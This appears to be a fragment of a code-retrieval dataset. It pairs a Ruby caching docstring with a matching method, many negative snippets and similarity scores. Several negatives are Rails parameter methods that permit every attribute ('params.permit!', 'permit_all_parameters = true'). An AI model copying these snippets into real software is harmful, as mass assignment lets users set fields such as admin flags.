:emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Takes a cache method, and expiry predicate fn and a on_miss fn and returns the value of the cache_method
def read(cache_method, expired_fn: self.class.default_expired_fn, on_miss: F.identity) if cache.send(cache_method) && !expired_fn.(cache, cache_method) #not_expired?(cache_method) log_cache_hit get(cache_method) else log_cache_failure write(cache_method, on_miss.(get(cache_method))) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def method_expiration(method, expiration=:_get_)\n if expiration == :_get_\n method_expirations[method]\n else\n method_expirations[method] = expiration\n end\n end", "def get(cache_method)\n cache.send(cache_method)\n end", "def cache_op(meth, ck)\n if @cache_ignore_exceptions\n @cache_store.send(meth, ck) rescue nil\n else\n @cache_store.send(meth, ck)\n end\n end", "def caching_method(method) \n returning send(\"_queued_method_#{method}\") do |results|\n Rails.cache.write queued_method_key(method), results\n Rails.cache.delete queued_method_queued_key(method)\n end\n end", "def put(cache_method, value)\n cache.send(\"#{cache_method}=\", value)\n end", "def method_cache(method)\n cache_data[method].except(*RESERVED_KEYS)\n end", "def get_cached(cache_key, proc, expiry_time = 5.minute)\n @data = Rails.cache.fetch(cache_key) || proc.call\n @data && Rails.cache.write(cache_key, @data, expires_in: expiry_time)\n\n @data\n end", "def _cache_method(method)\n raise \"#{method} not defined in class #{self.class.to_s}\" unless self.class.method_defined?(method)\n raise \"method with params is not supported by acts_as_method_cacheable yet!\" unless method(method.to_sym).arity === 0\n\n return if cached_methods.include?(method)\n\n self.instance_cache_methods ||= []\n\n return if self.instance_cache_methods.include?(method)\n\n self.instance_cache_methods.push(method)\n\n self.instance_eval <<-CACHEEND, __FILE__, __LINE__ + 1\n class << self\n def #{method}\n unless cache_var_defined?(:#{method})\n cache_var_set(:#{method}, super)\n end\n cache_var_get(:#{method})\n end\n end\n CACHEEND\n end", "def get_cache_key admr, method\n cache_key = \"#{self.get_key admr}:#{method}\"\n return cache_key\n end", "def cache_method(method_name, options = {})\n options = DEFAULT_OPTIONS.merge(options || {})\n cache_module = const_get(\"#{self.name}Cache\")\n cache_key_method = options[:cache_key] || options[\"cache_key\"]\n cache_module.class_eval do\n define_method(method_name) do\n key = \"#{self.class.name}/#{method_name}/#{self.send(cache_key_method)}\"\n cached_value_for(key, ->{super()})\n end\n end\n end", "def signature_value(method,signature,value=:_get_)\n if value == :_get_\n # if expired, it'll return nil\n [method,signature,:value].inject(cache_data,:fetch) if signature_expiration(method, signature) > DateTime.now\n else\n [method,signature].inject(cache_data,:fetch)[:value] = value\n end\n end", "def get_method_cache(method)\n mc = cache_data[method]\n mc.merge! reads: 0, writes:0 if mc.empty?\n mc\n end", "def value(method, expires, args)\n raise CacheData::ArgumentError, \"parameter :expires must be a duration (5.seconds, 2.minutes)\" unless expires.is_a? ActiveSupport::Duration\n args_signature = signature(args)\n full_garbage_collect\n if expired?(method: method, signature: args_signature)\n update_method_stats method, writes: method_writes(method) + 1\n method_expiration method, DateTime.now + expires\n set method: method, value: yield(*args), expires: DateTime.now + expires, args_signature: args_signature\n else\n update_method_stats method, reads: method_reads(method) + 1\n signature_value(method,args_signature)\n end\n end", "def cache_for(expires, *args, &blk)\n @cache_data ||= CacheData.new\n @cache_data.value caller_locations(1,1)[0].label.to_sym, expires, args, &blk\n end", "def expire_cache(key)\n end", "def queued_method(method, options = {})\n caching_key = queued_method_key method\n Rails.cache.delete(caching_key) if options[:force]\n data = queued_method_data(method) \n if queued_method_expired?(data)\n puts \"expired #{Time.now} : #{data.inspect}\"\n if options[:fallback]\n data = {:results => send(options[:fallback])}\n queued_method_queue(method)\n else\n data = caching_method(method)\n end\n else\n queued_method_queue(method) if queued_method_stale?(data)\n end\n \n data[:results]\n end", "def get_cache_expiry\n fail 'sub class to implement'\n end", "def call_with_cache(method, args)\n if opts = self.class.handler_opts[method][:cache]\n begin\n # If there are uncacheable parameters, abort and just call the method.\n raise unless (request.params.keys - self.class::KEYS - opts[:keys]).empty?\n\n # Compute cache key for this method, args, and params.\n args_key = args.map { |a| escape a }.join(\"&\")\n \n opts_key = opts[:keys].map { |k|\n escape request.params[k]\n }.join(\"&\")\n\n format_key = request.path[/\\.(\\w+)$/, 1]\n \n if opts[:proc]\n result = opts[:proc].call(\n :method => method,\n :args => args,\n :request => request,\n :format => format_key,\n :client => @client\n )\n if result\n proc_key = escape result\n else\n # Don't cache.\n raise\n end\n else\n proc_key = ''\n end\n \n key = \"#{self.class}/#{method}/#{args_key}/#{opts_key}/#{proc_key}/#{format_key}\"\n\n # Check the cache and attempt to respond immediately.\n if value = API.cache[key]\n Ramaze::Log.info \"Cache hit\"\n response['Content-Type'] = CONTENT_TYPES[format_key]\n return value\n end\n\n # Nope? Invoke the method and cache the result.\n value = format(send(method, *args))\n\n API.cache.store key, value, :ttl => opts[:ttl]\n rescue => e\n # Under no circumstances are we to cache something weird, like a file.\n # If that were to happen, we'd hit an error in escape().\n format(send(method, *args))\n end\n else\n format(send(method, *args))\n end\n end", "def cache_get(key)\n nil\n end", "def define_cachedp_method\n # we don't expect this to be called more than once, but we're being\n # defensive.\n return if defined?(cached?)\n\n if defined?(::ActiveRecord) && ::ActiveRecord::VERSION::STRING >= '5.1.0'\n def cached?(payload)\n payload.fetch(:cached, false)\n end\n else\n def cached?(payload)\n payload[:name] == CACHED_QUERY_NAME\n end\n end\n end", "def cache_methods(*method_names, expires_in:)\n method_names.each do |method_name|\n cache_method(method_name, expires_in: expires_in)\n end\n end", "def cache_fetch(key, expires_in:, &block)\n if ret = mload(key)\n ret\n else\n val = block.call\n mdump(key, val)\n expire(key, expires_in)\n val\n end\n end", "def expire_cache!(key)\n raise 'The expire_cache method must be implemented'\n end", "def get_or_cache(key, expiry = 0, &block)\n return block.call(key) unless servers?\n get(key) || put(key, block.call(key))\n end", "def cache(key = nil, &code)\n key ||= Stash.caller_name\n @store[key.to_sym] ||= code.call\n end", "def cacheable(*methods)\n methods.each do |method|\n define_method cached_alias(method), ->(options = {}) do\n memoize method, options\n end\n alias_method_chain method, :cache\n end\n end", "def cache_expects(method, expected_times = 1)\n ActsAsCached.config[:store].expects(method).times(expected_times)\n end", "def method_missing(method_name, *args)\n @cache ||= Rails.cache.instance_variable_get(\"@data\")\n @cache.send(method_name, *args)\n end", "def call_with_cache(key)\n cache.key?(key) ? cache[key] : cache[key] = fetch(key).call\n end", "def read(key)\n return if @expires[key] && @expires[key] < Faulty.current_time\n\n @cache[key]\n end", "def cache_on?; end", "def cache_on?; end", "def queued_method_job(method)\n nice_queued_method queued_method_key(method, 'processing') do\n if queued_method_stale?(queued_method_data(method))\n caching_method method\n end\n end \n end", "def test_expire\n cached = TestCache.new\n \n cached.m1\n assert cached.cached?(:m1)\n cached.expire(:m1)\n assert cached.cached?(:m1)\n \n cached.m2\n assert cached.cached?(:m2)\n cached.expire(:m2)\n assert !cached.cached?(:m2)\n \n cached.m3('test')\n assert cached.cached?(:m3, 'test')\n cached.expire(:m3, 'test')\n assert cached.cached?(:m3, 'test')\n end", "def fetch(key, default = nil)\n return default unless entry = @cache[\"#{@cache_name}:#{key}\"]\n return entry[:value] if entry[:expires].nil? || entry[:expires] > Time.now\n @cache.delete(\"#{@cache_name}:#{key}\")\n default\n end", "def __define_full_method_high_arity(method_cache)\n define_singleton_method(method_cache.method_name) do |*args, &inner_block|\n __run_wrappers(method_cache, args, true) do |*call_args|\n method_cache.strategy.new.public_send(method_cache.method_name, *call_args, &inner_block)\n end\n end\n end", "def method_missing(msg, *params)\n if self.cache_object.nil?\n raise NoMethodError, \"Invalid method #{msg.to_s}\"\n end\n return self.cache_object.send(msg, params)\n end", "def cache_methods(*args)\n options = args.pop if args.last.is_a?(Hash)\n methods = args\n\n methods.each do |method|\n self.cache_method(method, options)\n end\n end", "def call(key, ttl: TTL)\n key = namespaced_key(key)\n\n fetch(key) || cache(key, yield, ttl)\n end", "def do_cached( key, &block )\n \n # have a look in the cache\n value = fetch( key )\n\n # Cache HIT?\n return value unless value.nil?\n\n # Cache MISS : execute the block\n value = block.call( key )\n\n # Store value in the cache\n return store( key, value )\n end", "def cache_get(key)\n if @cache.key?(key)\n _data, _expire = *cache_read(key)\n if _expire.nil? || Time.now < _expire\n Merb.logger.info(\"cache: hit (#{key})\")\n return _data\n end\n @mutex.synchronize do @cache.delete(key) end\n end\n Merb.logger.info(\"cache: miss (#{key})\")\n nil\n end", "def get_cache_expiry\n memcache_key_object.expiry\n end", "def get_cache_expiry\n memcache_key_object.expiry\n end", "def get_cache_expiry\n memcache_key_object.expiry\n end", "def get_cache_expiry\n memcache_key_object.expiry\n end", "def get_cache_expiry\n memcache_key_object.expiry\n end", "def define_memoize_method(method)\n method_name = method.name.to_sym\n undef_method(method_name)\n define_method(method_name) do\n memory.fetch(method_name) do\n memory[method_name] ||= method.bind(self).call\n end\n end\n end", "def __define_full_method(method_cache)\n define_singleton_method(method_cache.method_name) do |*args, &inner_block|\n __run_wrappers(method_cache, *args) do |*call_args|\n method_cache.strategy.new.public_send(method_cache.method_name, *call_args, &inner_block)\n end\n end\n end", "def cached_call(compiler)\n cache_check(compiler) << call_cached_method(compiler)\n end", "def cached_call(compiler)\n cache_check(compiler) << call_cached_method(compiler)\n end", "def cache key\n begin\n if expired?(key)\n content = Proc.new { yield }.call\n set( key, content )\n end\n content ||= get( key )\n return content\n rescue LocalJumpError\n return nil\n end\n end", "def cached?(method, url, params = nil, body = nil)\n status = status(method, url, params, body)\n status[:status] != 'miss'\n end", "def fetch(fn)\n return fn unless fn.instance_of? Symbol\n respond_to?(fn) ? method(fn) : store.fetch(fn)\n rescue\n raise FunctionNotFoundError.new(fn, self)\n end", "def is_cache_expired?(key)\n raise 'The is_cache_expired method must be implemented'\n end", "def __define_shortcut_method(method_cache)\n define_singleton_method(method_cache.method_name) do |*args, &inner_block|\n method_cache.strategy.new.public_send(method_cache.method_name, *args, &inner_block)\n end\n end", "def cache_get(ck)\n cache_op(:get, ck)\n end", "def cache(key, action, cache_store)\n binding.pry\n cache_key = key.to_s + \"_\" + action.to_s\n if cache_store[cache_key]\n return cache_store[cache_key]\n else\n result = yield # run the block\n cache_store[cache_key] = result # store it in our cache\n return result\n end\nend", "def method_missing sym, *args\n response = ( !@cache.nil? && @cache.has_key?(sym) )? @cache[sym] : @ref.send(sym)\n return (response.nil?) ? String.new : response\n end", "def read_from_cache\n result = if cache.is_a?(Proc)\n cache.call(nil)\n elsif File.exist?(cache.to_s)\n File.read(cache)\n end\n result if valid_rates?(result)\n end", "def get(key, mtime)\n return nil unless @cache.key?(key)\n\n if @cache[key][:mtime] >= mtime\n @cache[key][:value]\n else\n delete(key)\n nil\n end\n end", "def get(key, expires_in = 0, &block)\n\n #look for the cache item in the store\n items = @store.select { |i| i[:key] == build_key(key) }\n item = if !items.empty? then items[0] else nil end\n #check if a valid item was found in the store\n if item == nil || (item[:expires] != nil && item[:expires] <= Time.now.utc)\n #a valid item wasn't found so check if a hydration block was specified.\n if block_given?\n #create the item from the block\n value = yield\n #put the item in the store\n set(build_key(key), value, expires_in)\n return value\n else\n #no hydration block was specified\n\n #check if an expired item was found\n if item != nil\n #remove the expired item from the store\n remove(build_key(key))\n end\n return nil\n end\n end\n\n #return the item\n return item[:value]\n end", "def expire=(_); end", "def expire_cached(db: :default, key:)\n Stockpile::CachedValueExpirer.expire_cached(db: db, key: key)\n end", "def expire_cached(key:)\n Stockpile::CachedValueExpirer.expire_cached(key: key)\n end", "def set(method:, value:, expires:, args_signature: )\n cache = get_method_cache(method)\n cache.merge! args_signature=> {value: value, expires: expires}\n method_expiration method, expires\n signature_value(method,args_signature)\n end", "def get(key)\n # Return nothing if not in the cache or it has expired.\n return if key.nil?\n\n entry = @cache[key]\n return unless entry\n return if entry.expired?\n\n # Otherwise return the cached object.\n # We don't delete the cached entry because we might need to force its use if its expired and offline\n entry.object\n end", "def test_race_condition_protection_is_limited\n time = Time.now\n @cache.write('foo', 'bar', :expires_in => 60)\n Time.stubs(:now).returns(time + 71)\n result = @cache.fetch('foo', :race_condition_ttl => 10) do\n assert_equal nil, @cache.read('foo')\n \"baz\"\n end\n assert_equal \"baz\", result\n end", "def cache_get(key)\n cache_file = @config[:cache_directory] / \"#{key}.cache\"\n if File.file?(cache_file)\n _data, _expire = Marshal.load(cache_read(cache_file))\n if _expire.nil? || Time.now < _expire\n Merb.logger.info(\"cache: hit (#{key})\")\n return _data\n end\n FileUtils.rm_f(cache_file)\n end\n Merb.logger.info(\"cache: miss (#{key})\")\n nil\n end", "def cache_get(target_class, *args)\n key = args.dup << target_class\n value_wrapper = @@cache[key]\n if value_wrapper.nil?\n #@@misses += 1\n #puts \"miss (#{@@hits}, #{@@misses}, #{(100.0 * @@hits / (@@hits + @@misses)).round(0)}%)\"\n return nil\n end\n #@@hits += 1\n #puts \"hit (#{@@hits}, #{@@misses}, #{(100.0 * @@hits / (@@hits + @@misses)).round(0)}%)\"\n value_wrapper[0]\n end", "def load_method store, cache, klass, type, name\n methods = store.send(cache)[klass]\n return unless methods\n method = methods.find do |method_name|\n method_name == name\n end\n return unless method\n store.load_method klass, \"#{type}#{method}\"\n end", "def invalidate_cache! now\n end", "def cache(key = nil)\n key ||= BasicCache.caller_name\n key = key.to_sym\n if include? key\n @store[key].value\n else\n value = yield\n @store[key] = TimeCacheItem.new Time.now, value\n value\n end\n end", "def cache_hit(response)\n response\n end", "def cached(key:, ttl: 5.minutes)\n redis = CertManager::Configuration.redis_client\n redis_key = \"User_#{id}_#{key}\"\n value = redis.get(redis_key)\n value = JSON.parse(value) if value\n unless value\n value = yield\n redis.setex(redis_key, ttl, value.to_json)\n end\n value\n end", "def cache_value?; end", "def cache_fetch(key, default = nil)\n @moneta.fetch(key, default)\n end", "def get_cache(key: nil, prefix: nil, **additional_args)\n fallback = additional_args[:fallback]\n key = \"#{prefix}::#{key}\" if prefix\n value = @cache.get(key) if @cache\n value || fallback\n end", "def define_method_missing(matcher, &intercept_block)\n @matcher = matcher_ = Matcher.new(matcher)\n assign_intercept_method(&intercept_block)\n method_cacher = method(:cache_method)\n\n define_method :method_missing do |method_name, *arguments, &method_block|\n if matches = matcher_.match(method_name, self)\n method_cacher.(method_name, matches)\n send(method_name, *arguments, &method_block)\n else\n super(method_name, *arguments, &method_block)\n end\n end\n\n define_method :respond_to_missing? do |method_name, include_private = false|\n if matches = matcher_.match(method_name, self)\n method_cacher.(method_name, matches)\n else\n super(method_name, include_private)\n end\n end\n end", "def cache_for(time)\n expires_in time, :public => true\n end", "def process_expire(command)\n key = command[0]\n seconds = command[1]\n options = {:expiration => seconds }\n @connection.touch(as_key(key), options)? 0 : 1 # return 1 when result is OK = 0\n rescue ::Aerospike::Exceptions::Aerospike => e\n if (e.result_code == ::Aerospike::ResultCode::KEY_NOT_FOUND_ERROR)\n return 0\n else\n raise\n end\n end", "def cache *actions, &proc\n\n if proc && configurable? # prohibit updates after controller mounted\n actions = ['*'] if actions.size == 0\n actions.each { |a| @cache[a] = proc }\n end\n\n action = actions.first\n @setup['%s::%s' % [:cache, action]] ||= @cache[action] ||\n @cache['*'] ||\n (@controller.ctrl.slice.http.cache(action) if @controller)\n end", "def memoized_methods\n @memoized_methods ||= ThreadSafe::Cache.new do |_, name|\n raise ArgumentError, \"No method #{name.inspect} was memoized\"\n end\n end", "def get(*keys)\n unless keys.length == @num_keys\n arg_count = keys.length\n fail \"Opscode::Rackspace::Monitoring::CMCache.get: Key count mismatch (#{@num_keys}:#{arg_count})\"\n end\n\n unless defined?(@cache)\n return nil\n end\n\n eval_str = '@cache'\n (0...@num_keys).each do |i|\n key = keys[i]\n cval = eval(eval_str)\n unless cval.key?(key.to_s)\n return nil\n end\n\n eval_str += \"[\\\"#{key}\\\"]\"\n end\n\n Chef::Log.debug(\"Opscode::Rackspace::Monitoring::CMCache.get: Returning cached value from #{eval_str}\")\n return eval(eval_str)\n end", "def cache key, opts = {}\n if opts[:ttl]\n # cache globaly if ttl provided\n Lux.cache.fetch(key, opts) { yield }\n else\n data = @var[:cache] ||= {}\n data = @var[:cache][key]\n return data if data\n @var[:cache][key] = yield\n end\n end", "def cache_expiry\n if options[:extend_cache_life]\n (1 + options[:extend_cache_life]) * super\n else\n super\n end\n end", "def set_compiled_method_cache; end", "def cached?; end", "def expire_action_by_key(key)\n Rails.cache.delete(action_cache_key(key.to_s))\n end", "def fetch(key)\n methods.fetch(key)\n end", "def unmemoized_instance_method(method_name); end", "def _smart_cache(expires_in, *keys, &block)\n key = _cache_key(keys)\n unless cached = Rails.cache.read( key )\n cached = yield(block) \n Rails.cache.write(key, cached, expires_in: expires_in) \n end\n cached\n end", "def cache(opts = {}, &block)\n expiration_time = (opts[:expires_in] || default_expire_time).to_i\n stale_time = (opts[:stale_for] || default_stale_if_error_time).to_i\n cache_key = opts[:key]\n\n set_headers(expiration_time, stale_time)\n\n if expiration_time > 0\n ::Rails.cache.fetch(cache_key, raw: true, expires_in: expiration_time) do\n block.call.to_json\n end\n else\n block.call.to_json\n end\n end", "def memoized?(method_name); end", "def _cache_control; end", "def cache_if!(condition, *args, &block)\n condition ? cache!(*args, &block) : yield\n end", "def queued_method_data(method)\n Rails.cache.read(queued_method_key(method))\n end", "def get(key)\n @cache[key]\n end", "def without_cache(&block); end", "def without_cache(&block); end", "def method_missing(meth, *args, &block)\n retrieve(meth.to_s)\n end" ]
[ "0.7117594", "0.6905418", "0.6483995", "0.6477455", "0.62455016", "0.62071514", "0.61068696", "0.60646814", "0.60338104", "0.6000186", "0.5984448", "0.58621997", "0.5859986", "0.5843369", "0.5829759", "0.58256847", "0.58198595", "0.58131707", "0.57464564", "0.5714605", "0.5625165", "0.56051505", "0.5587378", "0.55834436", "0.55634385", "0.55425775", "0.5488069", "0.5482306", "0.54753816", "0.54734504", "0.5448068", "0.5448068", "0.5447928", "0.5447179", "0.5386741", "0.53744614", "0.5367284", "0.5354856", "0.533268", "0.5332129", "0.53068924", "0.53064686", "0.53064686", "0.53064686", "0.53064686", "0.53064686", "0.530451", "0.5299443", "0.5286501", "0.5286501", "0.528144", "0.52810436", "0.5277011", "0.526521", "0.5254208", "0.5246381", "0.52222556", "0.52061075", "0.51731324", "0.5168589", "0.51396954", "0.51358545", "0.51347095", "0.5123867", "0.51231295", "0.5115804", "0.51105756", "0.50965023", "0.50884813", "0.5059252", "0.5055232", "0.50549644", "0.5047571", "0.5038739", "0.5037236", "0.50355506", "0.50297534", "0.5024315", "0.50215256", "0.5019888", "0.5016945", "0.5014596", "0.5008945", "0.50069857", "0.5003771", "0.49996924", "0.4995393", "0.4986887", "0.4986849", "0.4982458", "0.4962301", "0.49583933", "0.49580556", "0.49578944", "0.49529895", "0.4950664", "0.4944762", "0.4943558", "0.4943558", "0.49413645" ]
0.7913722
0
Provides access to the underlying cache through its cache methods
def get(cache_method) cache.send(cache_method) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cached\n raise NotImplementedError\n end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache\n DataCache\n end", "def cache_store; end", "def cache_store; end", "def cache\n @cache ||= build_cache\n end", "def cache!\n @@cache\n end", "def cache_fetch(*args)\n super { |key| @store[key] }\n end", "def instance_cache; end", "def cache\n @@_cache[self.class.name]\n end", "def cache\n yield\n end", "def update_cache\n # Does nothing...up to subclasses to implement.\n end", "def cache\n @__cache ||= Cache.new self\n end", "def get\n raise StandardError, \"Implement '.get' in your Cache!\"\n end", "def cache\n @cache ||= MemoryCache.new\n end", "def cached?; end", "def method_missing(method_name, *args)\n @cache ||= Rails.cache.instance_variable_get(\"@data\")\n @cache.send(method_name, *args)\n end", "def configure_cache; end", "def cache_request\n cache\n end", "def cached\n @cached ||= Rails.cache.read(self.cache_key, opts_for_cache)\n end", "def retrieve(key)\n raise NotImplementedError.new 'Implement retrieve(key) in your CacheManager'\n end", "def cache(data); end", "def cache\n @cache ||= Flareshow::Cache.new\n end", "def cached\n self\n end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def simple_cache\n @@cache_store\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def singleton_cache; end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def cache_get(ck)\n cache_op(:get, ck)\n 